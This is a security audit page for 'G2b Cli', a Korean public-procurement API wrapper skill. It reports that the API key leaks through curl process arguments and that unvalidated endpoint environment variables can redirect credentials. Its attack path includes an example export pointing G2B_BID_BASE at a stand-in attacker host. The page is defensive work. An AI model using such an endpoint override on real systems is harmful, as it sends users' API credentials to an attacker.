ClawHub
Back to skill

Security audit

G2b Cli

Security checks for vulnerabilities and agentic risk

Overview

This read-only Korean procurement API wrapper is coherent, but it needs Review because its scripts can expose the data.go.kr API key through command-line URLs and unvalidated endpoint overrides.

Review before installing if you will use real data.go.kr credentials. Run it only in a trusted shell, clear or verify all G2B_*_BASE variables point to the official https://apis.data.go.kr hosts, and avoid running on shared systems where process command lines may be visible. Expect examples to save JSONL files containing public tender and supplier identifiers when you use the documented redirection or tee pipelines.

A.I.G

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/_common.sh:103
Finding

API Key Exposed Through Process Arguments

Content
View full analysis

Vulnerability Details

File Location: scripts/_common.sh, lines 103–104
Vulnerability Type: Credential exposure through command-line arguments
Risk Level: Medium

Vulnerable Code:

bash
local out http
out=$(mktemp)
http=$(curl -sS -G -o "$out" -w '%{http_code}' "${base}/${path}?${qs}" || true)

The qs variable includes the encoded API credential:

bash
local qs="serviceKey=${enc_key}&type=json"

Technical Analysis

The complete request URL, including serviceKey, is passed to curl as a command-line argument. While curl is running, operating-system process inspection interfaces such as ps or /proc/<pid>/cmdline may expose that argument to other local users, monitoring agents, or diagnostic tooling.

URL encoding does not protect the credential from disclosure because an observer can decode and reuse the captured value.

Attack Path

  1. A victim exports a valid G2B_SERVICE_KEY and invokes one of the CLI scripts.
  2. g2b_get URL-encodes the key and embeds it in qs.
  3. The function launches curl with the full URL in its argument vector.
  4. A local process observer captures the command line while curl is active.
  5. The observer extracts, decodes, and reuses the API key against data.go.kr.

Exploitation requires local process-observation access or access to tooling that records process command lines.

Impact Assessment

A successful attacker obtains the victim's data.go.kr API credential. This may allow unauthorized API requests under the victim's quota, service disruption through quota exhaustion, and access to any other approved API operations associated with that key. The issue does not directly grant operating-system privileges or modify procurement data because the wrapped services are read-only.

Remediation
View remediation

Remediation Suggestions

Avoid placing secrets in process arguments. Provide the sensitive request configuration to curl through standard input or another channel that does not expose it in the argument vector.

For example, use a curl configuration supplied on standard input while keeping only a non-sensitive fixed argument in argv. Carefully escape configuration values before doing so. If a temporary configuration file is necessary:

  1. Create it with permissions restricted to the current user, such as mode 0600.
  2. Install an EXIT, INT, and TERM trap immediately after creation.
  3. Remove the file on every success and failure path.
  4. Do not enable verbose curl output or request tracing where the URL could be logged.
  5. Rotate any API key suspected of prior command-line exposure.

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/_common.sh:13
Finding

Unrestricted API Base Overrides Can Redirect Credentials

Content
View full analysis

Vulnerability Details

File Location: scripts/_common.sh, lines 13–15 and request use at line 104
Vulnerability Type: Credential exfiltration through unvalidated endpoint configuration
Risk Level: Medium

Vulnerable Code:

bash
G2B_BID_BASE="${G2B_BID_BASE:-https://apis.data.go.kr/1230000/ad/BidPublicInfoService}"
G2B_CNTRCT_BASE="${G2B_CNTRCT_BASE:-https://apis.data.go.kr/1230000/ao/CntrctInfoService}"
G2B_STD_BASE="${G2B_STD_BASE:-https://apis.data.go.kr/1230000/ao/PubDataOpnStdService}"

The selected base is later used in a request that automatically includes the credential:

bash
http=$(curl -sS -G -o "$out" -w '%{http_code}' "${base}/${path}?${qs}" || true)

Technical Analysis

The three API origins can be replaced through inherited environment variables without validation of the URL scheme, hostname, port, or destination. The g2b_get function automatically appends G2B_SERVICE_KEY to requests made to the configured base.

Consequently, an attacker who can influence the process environment can redirect requests to an attacker-controlled endpoint. An http:// override would additionally transmit the credential and response without transport encryption.

This is a trust-boundary weakness rather than arbitrary command injection: the variables are quoted, so shell metacharacters in the URL are not directly evaluated as commands.

Attack Path

  1. An attacker gains control over the victim's inherited environment through a CI variable, wrapper script, shell profile, service configuration, or compromised launcher.
  2. The attacker sets one of the following variables to an attacker-controlled URL:
    bash
    export G2B_BID_BASE='https://attacker.example/collect'
  3. The victim invokes the corresponding CLI script with a valid G2B_SERVICE_KEY.
  4. g2b_get builds a request containing the service key.
  5. curl sends that request to the attacker-controlled origin. ...[truncated 678 chars]
Remediation
View remediation

Remediation Suggestions

Validate every configured API base before sending credentials:

  1. Require the https scheme.
  2. Restrict production requests to an explicit hostname allowlist, preferably only apis.data.go.kr.
  3. Reject user-information components, fragments, unexpected ports, malformed URLs, and unapproved redirects.
  4. Consider removing endpoint overrides from normal production operation.
  5. If staging endpoints are required, enable them only through a separate explicit development-mode option and use separate, non-production credentials.
  6. Disable or tightly restrict redirects for credential-bearing requests. If redirects are needed, verify that every redirect target remains on an approved origin.
  7. Document that API base environment variables are security-sensitive and must not be accepted from untrusted CI jobs, shell profiles, or launchers.

SkillSpector

Vulnerability Patterns
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (6)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding

The skill explicitly documents shell-based subcommands and shell pipelines but does not declare any tool scope such as permissions or allowed-tools. In an agent environment, that omission can cause overbroad execution capability, making it easier for the skill to invoke shell commands or chained tools without clear least-privilege boundaries or reviewer visibility.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The README mixes English with Korean-only service descriptions and examples such as '입찰공고', '계약현황', and '용역' without stating that the skill is intended only for Korean-speaking users or Korea-specific operators. Under the language/locale policy, forcing a specific language is acceptable only when clearly documented and justified or when users are given a choice.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
85% confidence
Finding

This markdown file includes multiple examples that persist retrieved data to local files using tee, shell redirection, and append operations, such as today_ai_rfps.jsonl, awarded_2026wk17.jsonl, awardee_kyb.jsonl, and bid_2026_04.jsonl. Because the skill description does not explicitly warn users that running these examples stores potentially sensitive organizational procurement records and supplier business identifiers on disk, it lacks user-facing disclosure for data-affecting behavior.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
95% confidence
Finding

The script description and generated digest content are written entirely in Korean, and the query keyword is fixed to a Korean term with no option for user language or locale selection. This is a natural-language policy concern because it imposes a specific language by default without opt-in or justification in the file.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

The script's user-facing natural-language text in the header, usage examples, and output description is primarily Korean and does not offer any language or locale choice. Under the stated policy, forcing a specific language without user opt-in can be a natural-language policy violation unless clearly justified as region-specific.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

The file embeds Korean-only descriptive comments such as '공공데이터개방표준' and other Korean labels in the usage/context text without any indication that language choice is optional. This is a natural-language locale constraint in the file content and no opt-in or alternative locale is offered.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.